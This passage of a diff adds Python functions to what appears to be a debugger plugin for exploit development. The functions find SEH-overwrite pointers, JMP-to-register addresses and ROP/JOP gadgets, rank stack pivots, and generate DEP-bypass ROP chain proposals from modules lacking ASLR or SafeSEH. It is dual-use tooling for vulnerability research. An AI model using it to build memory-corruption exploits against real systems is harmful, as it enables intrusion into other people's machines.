thistable += "-----------------------------------------------------------------------------------------------------------------------------------------\n" + if arch == 32: + thistable += " Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path\n" + elif arch == 64: + thistable += " Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path\n" + thistable += "-----------------------------------------------------------------------------------------------------------------------------------------\n" + + for thismodule,modproperties in g_modules.iteritems(): + if (len(modules) > 0 and modproperties["name"] in modules or len(logfile)>0): + rebase = toSize(str(modproperties["rebase"]),7) + base = toSize(str("0x" + toHex(modproperties["base"])),10) + top = toSize(str("0x" + toHex(modproperties["top"])),10) + size = toSize(str("0x" + toHex(modproperties["size"])),10) + safeseh = toSize(str(modproperties["safeseh"]),7) + aslr = toSize(str(modproperties["aslr"]),5) + nx = toSize(str(modproperties["nx"]),7) + isos = toSize(str(modproperties["os"]),7) + version = str(modproperties["version"]) + path = str(modproperties["path"]) + name = str(modproperties["name"]) + thistable += " " + base + " | " + top + " | " + size + " | " + rebase +"| " +safeseh + " | " + aslr + " | " + nx + " | " + isos + "| " + version + " [" + name + "] (" + path + ")\n" + thistable += "-----------------------------------------------------------------------------------------------------------------------------------------\n" + tableinfo = thistable.split('\n') + if logfile == "": + for tline in tableinfo: + dbg.log(tline) + else: + with open(logfile,"a") as fh: + fh.writelines(thistable) + +#-----------------------------------------------------------------------# +# This is where the action is +#-----------------------------------------------------------------------# + +def processResults(all_opcodes,logfile,thislog,specialcases = {},ptronly = False): + """ + Write the output of a search operation to log file + + Arguments: + all_opcodes - dictionary containing the results of a search + logfile - the MnLog object + thislog - the filename to write to + + Return: + written content in log file + first 20 pointers are shown in the log window + """ + ptrcnt = 0 + cnt = 0 + + global silent + + if all_opcodes: + dbg.log("[+] Writing results to %s" % thislog) + for hf in all_opcodes: + if not silent: + try: + dbg.log(" - Number of pointers of type '%s' : %d " % (hf,len(all_opcodes[hf]))) + except: + dbg.log(" - Number of pointers of type '' : %d " % (len(all_opcodes[hf]))) + if not ptronly: + + if not silent: + dbg.log("[+] Results : ") + messageshown = False + for optext,pointers in all_opcodes.iteritems(): + for ptr in pointers: + ptrinfo = "" + modinfo = "" + ptrx = MnPointer(ptr) + modname = ptrx.belongsTo() + if not modname == "": + modobj = MnModule(modname) + ptrextra = "" + rva=0 + if (modobj.isRebase or modobj.isAslr): + rva = ptr - modobj.moduleBase + ptrextra = " (b+0x" + toHex(rva)+") " + ptrinfo = "0x" + toHex(ptr) + ptrextra + " : " + optext + " | " + ptrx.__str__() + " " + modobj.__str__() + else: + ptrinfo = "0x" + toHex(ptr) + " : " + optext + " | " + ptrx.__str__() + if ptrx.isOnStack(): + ptrinfo += " [Stack] " + elif ptrx.isInHeap(): + ptrinfo += " [Heap] " + logfile.write(ptrinfo,thislog) + if (ptr_to_get > -1) or (cnt < 20): + if not silent: + dbg.log(" %s" % ptrinfo,address=ptr) + cnt += 1 + ptrcnt += 1 + if (ptr_to_get == -1 or ptr_to_get > 20) and cnt == 20 and not silent and not messageshown: + dbg.log("... Please wait while I'm processing all remaining results and writing everything to file...") + messageshown = True + if cnt < ptrcnt: + if not silent: + dbg.log("[+] Done. Only the first %d pointers are shown here. For more pointers, open %s..." % (cnt,thislog)) + else: + allptr = [] + ptrcnt = 0 + ptrinfo = "" + dbg.log("... Please wait while I'm processing results and writing everything to file...") + for optext,pointers in all_opcodes.iteritems(): + for ptr in pointers: + if not ptr in allptr: + ptrinfo += "0x%s\n" % toHex(ptr) + ptrcnt += 1 + if not silent: + dbg.log("[+] Writing results to file") + logfile.write(ptrinfo,thislog) + if not silent: + dbg.log("[+] Done") + dbg.log(" Found a total of %d pointers" % ptrcnt, highlight=1) + dbg.setStatusBar("Done. Found %d pointers" % ptrcnt) + + +def mergeOpcodes(all_opcodes,found_opcodes): + """ + merges two dictionaries together + + Arguments: + all_opcodes - the target dictionary + found_opcodes - the source dictionary + + Return: + Dictionary (merged dictionaries) + """ + if found_opcodes: + for hf in found_opcodes: + if hf in all_opcodes: + all_opcodes[hf] += found_opcodes[hf] + else: + all_opcodes[hf] = found_opcodes[hf] + return all_opcodes + + +def findSEH(modulecriteria={},criteria={}): + """ + Performs a search for pointers to gain code execution in a SEH overwrite exploit + + Arguments: + modulecriteria - dictionary with criteria modules need to comply with. + Default settings are : ignore aslr, rebase and safeseh protected modules + criteria - dictionary with criteria the pointers need to comply with. + + Return: + Dictionary (pointers) + """ + type = "" + if "rop" in criteria: + type = "rop" + search = getSearchSequences("seh",0,type) + + found_opcodes = {} + all_opcodes = {} + + modulestosearch = getModulesToQuery(modulecriteria) + if not silent: + dbg.log("[+] Querying %d modules" % len(modulestosearch)) + + starttime = datetime.datetime.now() + for thismodule in modulestosearch: + if not silent: + dbg.log(" - Querying module %s" % thismodule) + dbg.updateLog() + #search + found_opcodes = searchInModule(search,thismodule,criteria) + #merge results + all_opcodes = mergeOpcodes(all_opcodes,found_opcodes) + #search outside modules + if "all" in criteria: + if "accesslevel" in criteria: + if criteria["accesslevel"].find("R") == -1: + if not silent: + dbg.log("[+] Setting pointer access level criteria to 'R', to increase search results") + criteria["accesslevel"] = "R" + if not silent: + dbg.log(" New pointer access level : %s" % criteria["accesslevel"]) + if criteria["all"]: + rangestosearch = getRangesOutsideModules() + if not silent: + dbg.log("[+] Querying memory outside modules") + for thisrange in rangestosearch: + if not silent: + dbg.log(" - Querying 0x%08x - 0x%08x" % (thisrange[0],thisrange[1])) + found_opcodes = searchInRange(search, thisrange[0], thisrange[1],criteria) + all_opcodes = mergeOpcodes(all_opcodes,found_opcodes) + if not silent: + dbg.log(" - Search complete, processing results") + dbg.updateLog() + return all_opcodes + + +def findJMP(modulecriteria={},criteria={},register="esp"): + """ + Performs a search for pointers to jump to a given register + + Arguments: + modulecriteria - dictionary with criteria modules need to comply with. + Default settings are : ignore aslr and rebased modules + criteria - dictionary with criteria the pointers need to comply with. + register - the register to jump to + + Return: + Dictionary (pointers) + """ + search = getSearchSequences("jmp",register,"",criteria) + + found_opcodes = {} + all_opcodes = {} + + modulestosearch = getModulesToQuery(modulecriteria) + if not silent: + dbg.log("[+] Querying %d modules" % len(modulestosearch)) + + starttime = datetime.datetime.now() + for thismodule in modulestosearch: + if not silent: + dbg.log(" - Querying module %s" % thismodule) + dbg.updateLog() + #search + found_opcodes = searchInModule(search,thismodule,criteria) + #merge results + all_opcodes = mergeOpcodes(all_opcodes,found_opcodes) + if not silent: + dbg.log(" - Search complete, processing results") + dbg.updateLog() + return all_opcodes + + + +def findROPFUNC(modulecriteria={},criteria={},searchfuncs=[]): + """ + Performs a search for pointers to pointers to interesting functions to facilitate a ROP exploit + + Arguments: + modulecriteria - dictionary with criteria modules need to comply with. + Default settings are : ignore aslr and rebased modules + criteria - dictionary with criteria the pointers need to comply with. + optional : + searchfuncs - array with functions to include in the search + + Return: + Dictionary (pointers) + """ + found_opcodes = {} + all_opcodes = {} + ptr_counter = 0 + ropfuncs = {} + funccallresults = [] + ropfuncoffsets = {} + functionnames = [] + offsets = {} + + modulestosearch = getModulesToQuery(modulecriteria) + if searchfuncs == []: + functionnames = ["virtualprotect","virtualalloc","heapalloc","winexec","setprocessdeppolicy","heapcreate","setinformationprocess","writeprocessmemory","memcpy","memmove","strncpy","createmutex","getlasterror","strcpy","loadlibrary","freelibrary","getmodulehandle","getprocaddress","openfile","createfile","createfilemapping","mapviewoffile","openfilemapping"] + offsets["kernel32.dll"] = ["virtualprotect","virtualalloc","writeprocessmemory"] + # on newer OSes, functions are stored in kernelbase.dll + offsets["kernelbase.dll"] = ["virtualprotect","virtualalloc","writeprocessmemory"] + else: + functionnames = searchfuncs + offsets["kernel32.dll"] = searchfuncs + # on newer OSes, functions are stored in kernelbase.dll + offsets["kernelbase.dll"] = searchfuncs + if not silent: + dbg.log("[+] Looking for pointers to interesting functions...") + curmod = "" + #ropfuncfilename="ropfunc.txt" + #objropfuncfile = MnLog(ropfuncfilename) + #ropfuncfile = objropfuncfile.reset() + + offsetpointers = {} + + # populate absolute pointers + for themod in offsets: + fnames = offsets[themod] + try: + themodule = MnModule(themod) + if not themodule is None: + allfuncs = themodule.getEAT() + for fn in allfuncs: + for fname in fnames: + if allfuncs[fn].lower().find(fname.lower()) > -1: + #dbg.log("Found match: %s %s -> %s ?" % (themod, allfuncs[fn].lower(), fname.lower())) + fname = allfuncs[fn].lower() + if not fname in offsetpointers: + offsetpointers[fname] = fn + break + except: + continue + + # found pointers to functions + # now query IATs + #dbg.log("%s" % modulecriteria) + isrebased = False + for key in modulestosearch: + curmod = dbg.getModule(key) + #dbg.log("Searching in IAT of %s" % key) + #is this module going to get rebase ? + themodule = MnModule(key) + isrebased = themodule.isRebase + if not silent: + dbg.log(" - Querying %s" % (key)) + allfuncs = themodule.getIAT() + dbg.updateLog() + for fn in allfuncs: + thisfuncname = allfuncs[fn].lower() + thisfuncfullname = thisfuncname + if not meetsCriteria(MnPointer(fn), criteria): + continue + ptr = 0 + try: + ptr=struct.unpack(' -1: + extra = "" + extrafunc = "" + if isrebased: + extra = " [Warning : module is likely to get rebased !]" + extrafunc = "-rebased" + if not silent: + dbg.log(" 0x%s : ptr to %s (0x%s) (%s) %s" % (toHex(fn),thisfuncname,toHex(ptr),key,extra)) + logtxt = thisfuncfullname.lower().strip()+extrafunc+" | 0x" + toHex(ptr) + if logtxt in ropfuncs: + ropfuncs[logtxt] += [fn] + else: + ropfuncs[logtxt] = [fn] + ptr_counter += 1 + if ptr_to_get > 0 and ptr_counter >= ptr_to_get: + ropfuncs,ropfuncoffsets + return ropfuncs,ropfuncoffsets + +def assemble(instructions,encoder=""): + """ + Assembles one or more instructions to opcodes + + Arguments: + instructions = the instructions to assemble (separated by #) + + Return: + Dictionary (pointers) + """ + if not silent: + dbg.log("Opcode results : ") + dbg.log("---------------- ") + allopcodes="" + + instructions = instructions.replace('"',"").replace("'","") + + splitter=re.compile('#') + instructions=splitter.split(instructions) + for instruct in instructions: + try: + instruct = instruct.strip() + assembled=dbg.assemble(instruct) + strAssembled="" + for assemOpc in assembled: + if (len(hex(ord(assemOpc)))) == 3: + subAssembled = "\\x0"+hex(ord(assemOpc)).replace('0x','') + strAssembled = strAssembled+subAssembled + else: + strAssembled = strAssembled+hex(ord(assemOpc)).replace('0x', '\\x') + if len(strAssembled) < 30: + if not silent: + dbg.log(" %s = %s" % (instruct,strAssembled)) + allopcodes=allopcodes+strAssembled + else: + if not silent: + dbg.log(" %s => Unable to assemble this instruction !" % instruct,highlight=1) + except: + if not silent: + dbg.log(" Could not assemble %s " % instruct) + pass + if not silent: + dbg.log(" Full opcode : %s " % allopcodes) + return allopcodes + + + + + +def findROPGADGETS(modulecriteria={},criteria={},endings=[],maxoffset=40,depth=5,split=False,pivotdistance=0,fast=False,mode="all", sortedprint=False): + """ + Searches for rop gadgets + + Arguments: + modulecriteria - dictionary with criteria modules need to comply with. + Default settings are : ignore aslr and rebased modules + criteria - dictionary with criteria the pointers need to comply with. + endings - array with all rop gadget endings to look for. Default : RETN and RETN+offsets + maxoffset - maximum offset value for RETN if endings are set to RETN + depth - maximum number of instructions to go back + split - Boolean that indicates whether routine should write all gadgets to one file, or split per module + pivotdistance - minimum distance a stackpivot needs to be + fast - Boolean indicating if you want to process less obvious gadgets as well + mode - internal use only + sortedprint - sort pointers before printing output to rop.txt + + Return: + Output is written to files, containing rop gadgets, suggestions, stack pivots and virtualprotect/virtualalloc routine (if possible) + """ + + found_opcodes = {} + all_opcodes = {} + ptr_counter = 0 + + modulestosearch = getModulesToQuery(modulecriteria) + + progressid=str(dbg.getDebuggedPid()) + progressfilename="_rop_progress_"+dbg.getDebuggedName()+"_"+progressid+".log" + + objprogressfile = MnLog(progressfilename) + progressfile = objprogressfile.reset() + + dbg.log("[+] Progress will be written to %s" % progressfilename) + dbg.log("[+] Maximum offset : %d" % maxoffset) + dbg.log("[+] (Minimum/optional maximum) stackpivot distance : %s" % str(pivotdistance)) + dbg.log("[+] Max nr of instructions : %d" % depth) + dbg.log("[+] Split output into module rop files ? %s" % split) + + usefiles = False + filestouse = [] + vplogtxt = "" + suggestions = {} + + + if "f" in criteria: + if criteria["f"] <> "": + if type(criteria["f"]).__name__.lower() != "bool": + usefiles = True + rawfilenames = criteria["f"].replace('"',"") + allfiles = rawfilenames.split(',') + #check if files exist + dbg.log("[+] Attempting to use %d rop file(s) as input" % len(allfiles)) + for fname in allfiles: + fname = fname.strip() + if not os.path.exists(fname): + dbg.log(" ** %s : Does not exist !" % fname, highlight=1) + else: + filestouse.append(fname) + if len(filestouse) == 0: + dbg.log(" ** Unable to find any of the source files, aborting... **", highlight=1) + return + + search = [] + + if not usefiles: + if len(endings) == 0: + #RETN only + search.append("RETN") + for i in range(0, maxoffset + 1, 2): + search.append("RETN 0x"+ toHexByte(i)) + else: + for ending in endings: + dbg.log("[+] Custom ending : %s" % ending) + if ending != "": + search.append(ending) + if len(modulestosearch) == 0: + dbg.log("[-] No modules selected, aborting search", highlight = 1) + return + + dbg.log("[+] Enumerating %d endings in %d module(s)..." % (len(search),len(modulestosearch))) + for thismodule in modulestosearch: + dbg.log(" - Querying module %s" % thismodule) + dbg.updateLog() + #search + found_opcodes = searchInModule(search,thismodule,criteria) + #merge results + all_opcodes = mergeOpcodes(all_opcodes,found_opcodes) + dbg.log(" - Search complete :") + else: + dbg.log("[+] Reading input files") + for filename in filestouse: + dbg.log(" - Reading %s" % filename) + all_opcodes = mergeOpcodes(all_opcodes,readGadgetsFromFile(filename)) + + dbg.updateLog() + tp = 0 + for endingtype in all_opcodes: + if len(all_opcodes[endingtype]) > 0: + if usefiles: + dbg.log(" Ending : %s, Nr found : %d" % (endingtype,len(all_opcodes[endingtype]) / 2)) + tp = tp + len(all_opcodes[endingtype]) / 2 + else: + dbg.log(" Ending : %s, Nr found : %d" % (endingtype,len(all_opcodes[endingtype]))) + tp = tp + len(all_opcodes[endingtype]) + global silent + if not usefiles: + dbg.log(" - Filtering and mutating %d gadgets" % tp) + else: + dbg.log(" - Categorizing %d gadgets" % tp) + silent = True + dbg.updateLog() + ropgadgets = {} + interestinggadgets = {} + stackpivots = {} + stackpivots_safeseh = {} + adcnt = 0 + tc = 1 + issafeseh = False + step = 0 + updateth = 1000 + if (tp >= 2000 and tp < 5000): + updateth = 500 + if (tp < 2000): + updateth = 100 + for endingtype in all_opcodes: + if len(all_opcodes[endingtype]) > 0: + for endingtypeptr in all_opcodes[endingtype]: + adcnt=adcnt+1 + if usefiles: + adcnt = adcnt - 0.5 + if adcnt > (tc*updateth): + thistimestamp=datetime.datetime.now().strftime("%a %Y/%m/%d %I:%M:%S %p") + updatetext = " - Progress update : " + str(tc*updateth) + " / " + str(tp) + " items processed (" + thistimestamp + ") - (" + str((tc*updateth*100)/tp)+"%)" + objprogressfile.write(updatetext.strip(),progressfile) + dbg.log(updatetext) + dbg.updateLog() + tc += 1 + if not usefiles: + #first get max backward instruction + thisopcode = dbg.disasmBackward(endingtypeptr,depth+1) + thisptr = thisopcode.getAddress() + + # we now have a range to mine + startptr = thisptr + currentmodulename = MnPointer(thisptr).belongsTo() + modinfo = MnModule(currentmodulename) + issafeseh = modinfo.isSafeSEH + while startptr <= endingtypeptr and startptr != 0x0: + # get the entire chain from startptr to endingtypeptr + thischain = "" + msfchain = [] + thisopcodebytes = "" + chainptr = startptr + if isGoodGadgetPtr(startptr,criteria) and not startptr in ropgadgets and not startptr in interestinggadgets: + invalidinstr = False + while chainptr < endingtypeptr and not invalidinstr: + thisopcode = dbg.disasm(chainptr) + thisinstruction = getDisasmInstruction(thisopcode) + if isGoodGadgetInstr(thisinstruction) and not isGadgetEnding(thisinstruction,search): + thischain = thischain + " # " + thisinstruction + msfchain.append([chainptr,thisinstruction]) + thisopcodebytes = thisopcodebytes + opcodesToHex(thisopcode.getDump().lower()) + chainptr = dbg.disasmForwardAddressOnly(chainptr,1) + else: + invalidinstr = True + if endingtypeptr == chainptr and startptr != chainptr and not invalidinstr: + fullchain = thischain + " # " + endingtype + msfchain.append([endingtypeptr,endingtype]) + thisopcode = dbg.disasm(endingtypeptr) + thisopcodebytes = thisopcodebytes + opcodesToHex(thisopcode.getDump().lower()) + msfchain.append(["raw",thisopcodebytes]) + if isInterestingGadget(fullchain): + interestinggadgets[startptr] = fullchain + #this may be a good stackpivot too + stackpivotdistance = getStackPivotDistance(fullchain,pivotdistance) + if stackpivotdistance > 0: + #safeseh or not ? + if issafeseh: + if not stackpivotdistance in stackpivots_safeseh: + stackpivots_safeseh.setdefault(stackpivotdistance,[[startptr,fullchain]]) + else: + stackpivots_safeseh[stackpivotdistance] += [[startptr,fullchain]] + else: + if not stackpivotdistance in stackpivots: + stackpivots.setdefault(stackpivotdistance,[[startptr,fullchain]]) + else: + stackpivots[stackpivotdistance] += [[startptr,fullchain]] + else: + if not fast: + ropgadgets[startptr] = fullchain + startptr = startptr+1 + + else: + if step == 0: + startptr = endingtypeptr + if step == 1: + thischain = endingtypeptr + chainptr = startptr + ptrx = MnPointer(chainptr) + modname = ptrx.belongsTo() + issafeseh = False + if modname != "": + thism = MnModule(modname) + issafeseh = thism.isSafeSEH + if isGoodGadgetPtr(startptr,criteria) and not startptr in ropgadgets and not startptr in interestinggadgets: + fullchain = thischain + if isInterestingGadget(fullchain): + interestinggadgets[startptr] = fullchain + #this may be a good stackpivot too + stackpivotdistance = getStackPivotDistance(fullchain,pivotdistance) + if stackpivotdistance > 0: + #safeseh or not ? + if issafeseh: + if not stackpivotdistance in stackpivots_safeseh: + stackpivots_safeseh.setdefault(stackpivotdistance,[[startptr,fullchain]]) + else: + stackpivots_safeseh[stackpivotdistance] += [[startptr,fullchain]] + else: + if not stackpivotdistance in stackpivots: + stackpivots.setdefault(stackpivotdistance,[[startptr,fullchain]]) + else: + stackpivots[stackpivotdistance] += [[startptr,fullchain]] + else: + if not fast: + ropgadgets[startptr] = fullchain + step = -1 + step += 1 + + thistimestamp = datetime.datetime.now().strftime("%a %Y/%m/%d %I:%M:%S %p") + updatetext = " - Progress update : " + str(tp) + " / " + str(tp) + " items processed (" + thistimestamp + ") - (100%)" + objprogressfile.write(updatetext.strip(),progressfile) + dbg.log(updatetext) + dbg.updateLog() + + if mode == "all": + if len(ropgadgets) > 0 and len(interestinggadgets) > 0: + # another round of filtering + updatetext = "[+] Creating suggestions list" + dbg.log(updatetext) + objprogressfile.write(updatetext.strip(),progressfile) + suggestions = getRopSuggestion(interestinggadgets,ropgadgets) + #see if we can propose something + updatetext = "[+] Processing suggestions" + dbg.log(updatetext) + objprogressfile.write(updatetext.strip(),progressfile) + suggtowrite="" + for suggestedtype in suggestions: + limitnr = 0x7fffffff + if suggestedtype.startswith("pop "): # only write up to 10 pop r32 into suggestions file + limitnr = 10 + gcnt = 0 + + suggtowrite += "[%s]\n" % suggestedtype + for suggestedpointer in suggestions[suggestedtype]: + if gcnt < limitnr: + sptr = MnPointer(suggestedpointer) + modname = sptr.belongsTo() + modinfo = MnModule(modname) + if not modinfo.moduleBase.__class__.__name__ == "instancemethod": + rva = suggestedpointer - modinfo.moduleBase + suggesteddata = suggestions[suggestedtype][suggestedpointer] + if not modinfo.moduleBase.__class__.__name__ == "instancemethod": + ptrinfo = "0x" + toHex(suggestedpointer) + " (RVA : 0x" + toHex(rva) + ") : " + suggesteddata + " ** [" + modname + "] ** | " + sptr.__str__()+"\n" + else: + ptrinfo = "0x" + toHex(suggestedpointer) + " : " + suggesteddata + " ** [" + modname + "] ** | " + sptr.__str__()+"\n" + suggtowrite += ptrinfo + else: + break + gcnt += 1 + dbg.log("[+] Launching ROP generator") + updatetext = "Attempting to create rop chain proposals" + objprogressfile.write(updatetext.strip(),progressfile) + vplogtxt = createRopChains(suggestions,interestinggadgets,ropgadgets,modulecriteria,criteria,objprogressfile,progressfile) + dbg.logLines(vplogtxt.replace("\t"," ")) + dbg.log(" ROP generator finished") + else: + updatetext = "[+] Oops, no gadgets found, aborting.." + dbg.log(updatetext) + objprogressfile.write(updatetext.strip(),progressfile) + + #done, write to log files + dbg.setStatusBar("Writing to logfiles...") + dbg.log("") + logfile = MnLog("stackpivot.txt") + thislog = logfile.reset() + objprogressfile.write("Writing " + str(len(stackpivots)+len(stackpivots_safeseh))+" stackpivots with minimum offset " + str(pivotdistance)+" to file " + thislog,progressfile) + dbg.log("[+] Writing stackpivots to file " + thislog) + logfile.write("Stack pivots, minimum distance " + str(pivotdistance),thislog) + logfile.write("-------------------------------------",thislog) + logfile.write("Non-SafeSEH protected pivots :",thislog) + logfile.write("------------------------------",thislog) + arrtowrite = "" + pivotcount = 0 + try: + with open(thislog,"a") as fh: + arrtowrite = "" + stackpivots_index = sorted(stackpivots) # returns sorted keys as an array + for sdist in stackpivots_index: + for spivot, schain in stackpivots[sdist]: + ptrx = MnPointer(spivot) + modname = ptrx.belongsTo() + sdisthex = "%02x" % sdist + ptrinfo = "0x" + toHex(spivot) + " : {pivot " + str(sdist) + " / 0x" + sdisthex + "} : " + schain + " ** [" + modname + "] ** | " + ptrx.__str__()+"\n" + pivotcount += 1 + arrtowrite += ptrinfo + fh.writelines(arrtowrite) + except: + pass + logfile.write("", thislog) + logfile.write("", thislog) + logfile.write("SafeSEH protected pivots :",thislog) + logfile.write("--------------------------",thislog) + arrtowrite = "" + try: + with open(thislog, "a") as fh: + arrtowrite = "" + stackpivots_safeseh_index = sorted(stackpivots_safeseh) + for sdist in stackpivots_safeseh_index: + for spivot, schain in stackpivots_safeseh[sdist]: + ptrx = MnPointer(spivot) + modname = ptrx.belongsTo() + #modinfo = MnModule(modname) + sdisthex = "%02x" % sdist + ptrinfo = "0x" + toHex(spivot) + " : {pivot " + str(sdist) + " / 0x" + sdisthex + "} : " + schain + " ** [" + modname + "] SafeSEH ** | " + ptrx.__str__()+"\n" + pivotcount += 1 + arrtowrite += ptrinfo + fh.writelines(arrtowrite) + except: + pass + dbg.log(" Wrote %d pivots to file " % pivotcount) + arrtowrite = "" + if mode == "all": + if len(suggestions) > 0: + logfile = MnLog("rop_suggestions.txt") + thislog = logfile.reset() + objprogressfile.write("Writing all suggestions to file "+thislog,progressfile) + dbg.log("[+] Writing suggestions to file " + thislog ) + logfile.write("Suggestions",thislog) + logfile.write("-----------",thislog) + with open(thislog, "a") as fh: + fh.writelines(suggtowrite) + fh.write("\n") + nrsugg = len(suggtowrite.split("\n")) + dbg.log(" Wrote %d suggestions to file" % nrsugg) + + if not split: + logfile = MnLog("rop.txt") + thislog = logfile.reset() + objprogressfile.write("Gathering interesting gadgets",progressfile) + dbg.log("[+] Writing results to file " + thislog + " (" + str(len(interestinggadgets))+" interesting gadgets)") + logfile.write("Interesting gadgets",thislog) + logfile.write("-------------------",thislog) + dbg.updateLog() + try: + with open(thislog, "a") as fh: + arrtowrite = "" + if sortedprint: + arrptrs = [] + dbg.log(" Sorting interesting gadgets first") + for gadget in interestinggadgets: + arrptrs.append(gadget) + arrptrs.sort() + dbg.log(" Done sorting, let's go") + for gadget in arrptrs: + ptrx = MnPointer(gadget) + modname = ptrx.belongsTo() + #modinfo = MnModule(modname) + ptrinfo = "0x" + toHex(gadget) + " : " + interestinggadgets[gadget] + " ** [" + modname + "] ** | " + ptrx.__str__()+"\n" + arrtowrite += ptrinfo + + else: + for gadget in interestinggadgets: + ptrx = MnPointer(gadget) + modname = ptrx.belongsTo() + #modinfo = MnModule(modname) + ptrinfo = "0x" + toHex(gadget) + " : " + interestinggadgets[gadget] + " ** [" + modname + "] ** | " + ptrx.__str__()+"\n" + arrtowrite += ptrinfo + objprogressfile.write("Writing results to file " + thislog + " (" + str(len(interestinggadgets))+" interesting gadgets)",progressfile) + fh.writelines(arrtowrite) + dbg.log(" Wrote %d interesting gadgets to file" % len(interestinggadgets)) + except: + pass + arrtowrite="" + if not fast: + objprogressfile.write("Enumerating other gadgets (" + str(len(ropgadgets))+")",progressfile) + dbg.log("[+] Writing other gadgets to file " + thislog + " (" + str(len(ropgadgets))+" gadgets)") + try: + logfile.write("",thislog) + logfile.write("Other gadgets",thislog) + logfile.write("-------------",thislog) + with open(thislog, "a") as fh: + arrtowrite="" + if sortedprint: + arrptrs = [] + dbg.log(" Sorting other gadgets too") + for gadget in ropgadgets: + arrptrs.append(gadget) + arrptrs.sort() + dbg.log(" Done sorting, let's go") + for gadget in arrptrs: + ptrx = MnPointer(gadget) + modname = ptrx.belongsTo() + #modinfo = MnModule(modname) + ptrinfo = "0x" + toHex(gadget) + " : " + ropgadgets[gadget] + " ** [" + modname + "] ** | " + ptrx.__str__()+"\n" + arrtowrite += ptrinfo + else: + for gadget in ropgadgets: + ptrx = MnPointer(gadget) + modname = ptrx.belongsTo() + #modinfo = MnModule(modname) + ptrinfo = "0x" + toHex(gadget) + " : " + ropgadgets[gadget] + " ** [" + modname + "] ** | " + ptrx.__str__()+"\n" + arrtowrite += ptrinfo + + dbg.log(" Wrote %d other gadgets to file" % len(ropgadgets)) + objprogressfile.write("Writing results to file " + thislog + " (" + str(len(ropgadgets))+" other gadgets)",progressfile) + fh.writelines(arrtowrite) + except: + pass + + else: + dbg.log("[+] Writing results to individual files (grouped by module)") + dbg.updateLog() + for thismodule in modulestosearch: + thismodname = thismodule.replace(" ","_") + thismodversion = getModuleProperty(thismodule,"version") + logfile = MnLog("rop_"+thismodname+"_"+thismodversion+".txt") + thislog = logfile.reset() + logfile.write("Interesting gadgets",thislog) + logfile.write("-------------------",thislog) + for gadget in interestinggadgets: + ptrx = MnPointer(gadget) + modname = ptrx.belongsTo() + modinfo = MnModule(modname) + thismodversion = getModuleProperty(modname,"version") + thismodname = modname.replace(" ","_") + logfile = MnLog("rop_"+thismodname+"_"+thismodversion+".txt") + thislog = logfile.reset(False) + ptrinfo = "0x" + toHex(gadget) + " : " + interestinggadgets[gadget] + " ** " + modinfo.__str__() + " ** | " + ptrx.__str__()+"\n" + with open(thislog, "a") as fh: + fh.write(ptrinfo) + if not fast: + for thismodule in modulestosearch: + thismodname = thismodule.replace(" ","_") + thismodversion = getModuleProperty(thismodule,"version") + logfile = MnLog("rop_"+thismodname+"_"+thismodversion+".txt") + logfile.write("Other gadgets",thislog) + logfile.write("-------------",thislog) + for gadget in ropgadgets: + ptrx = MnPointer(gadget) + modname = ptrx.belongsTo() + modinfo = MnModule(modname) + thismodversion = getModuleProperty(modname,"version") + thismodname = modname.replace(" ","_") + logfile = MnLog("rop_"+thismodname+"_"+thismodversion+".txt") + thislog = logfile.reset(False) + ptrinfo = "0x" + toHex(gadget) + " : " + ropgadgets[gadget] + " ** " + modinfo.__str__() + " ** | " + ptrx.__str__()+"\n" + with open(thislog, "a") as fh: + fh.write(ptrinfo) + thistimestamp=datetime.datetime.now().strftime("%a %Y/%m/%d %I:%M:%S %p") + objprogressfile.write("Done (" + thistimestamp+")",progressfile) + dbg.log("Done") + return interestinggadgets,ropgadgets,suggestions,vplogtxt + + + +#----- JOP gadget finder ----- # +def findJOPGADGETS(modulecriteria={},criteria={},depth=6): + """ + Searches for jop gadgets + + Arguments: + modulecriteria - dictionary with criteria modules need to comply with. + Default settings are : ignore aslr and rebased modules + criteria - dictionary with criteria the pointers need to comply with. + depth - maximum number of instructions to go back + + Return: + Output is written to files, containing jop gadgets and suggestions + """ + found_opcodes = {} + all_opcodes = {} + ptr_counter = 0 + + modulestosearch = getModulesToQuery(modulecriteria) + + progressid=toHex(dbg.getDebuggedPid()) + progressfilename="_jop_progress_"+dbg.getDebuggedName()+"_"+progressid+".log" + + objprogressfile = MnLog(progressfilename) + progressfile = objprogressfile.reset() + + dbg.log("[+] Progress will be written to %s" % progressfilename) + dbg.log("[+] Max nr of instructions : %d" % depth) + + filesok = 0 + usefiles = False + filestouse = [] + vplogtxt = "" + suggestions = {} + fast = False + + search = [] + + jopregs = ["EAX","EBX","ECX","EDX","ESI","EDI","EBP"] + + offsetval = 0 + + for jreg in jopregs: + search.append("JMP " + jreg) + search.append("JMP [" + jreg + "]") + for offsetval in range(0, 40+1, 2): + search.append("JMP [" + jreg + "+0x" + toHexByte(offsetval)+"]") + + search.append("JMP [ESP]") + + for offsetval in range(0, 40+1, 2): + search.append("JMP [ESP+0x" + toHexByte(offsetval) + "]") + + dbg.log("[+] Enumerating %d endings in %d module(s)..." % (len(search),len(modulestosearch))) + for thismodule in modulestosearch: + dbg.log(" - Querying module %s" % thismodule) + dbg.updateLog() + #search + found_opcodes = searchInModule(search,thismodule,criteria) + #merge results + all_opcodes = mergeOpcodes(all_opcodes,found_opcodes) + dbg.log(" - Search complete :") + + dbg.updateLog() + tp = 0 + for endingtype in all_opcodes: + if len(all_opcodes[endingtype]) > 0: + if usefiles: + dbg.log(" Ending : %s, Nr found : %d" % (endingtype,len(all_opcodes[endingtype]) / 2)) + tp = tp + len(all_opcodes[endingtype]) / 2 + else: + dbg.log(" Ending : %s, Nr found : %d" % (endingtype,len(all_opcodes[endingtype]))) + tp = tp + len(all_opcodes[endingtype]) + global silent + dbg.log(" - Filtering and mutating %d gadgets" % tp) + + dbg.updateLog() + jopgadgets = {} + interestinggadgets = {} + + adcnt = 0 + tc = 1 + issafeseh = False + step = 0 + for endingtype in all_opcodes: + if len(all_opcodes[endingtype]) > 0: + for endingtypeptr in all_opcodes[endingtype]: + adcnt += 1 + if usefiles: + adcnt = adcnt - 0.5 + if adcnt > (tc*1000): + thistimestamp=datetime.datetime.now().strftime("%a %Y/%m/%d %I:%M:%S %p") + updatetext = " - Progress update : " + str(tc*1000) + " / " + str(tp) + " items processed (" + thistimestamp + ") - (" + str((tc*1000*100)/tp)+"%)" + objprogressfile.write(updatetext.strip(),progressfile) + dbg.log(updatetext) + dbg.updateLog() + tc += 1 + #first get max backward instruction + thisopcode = 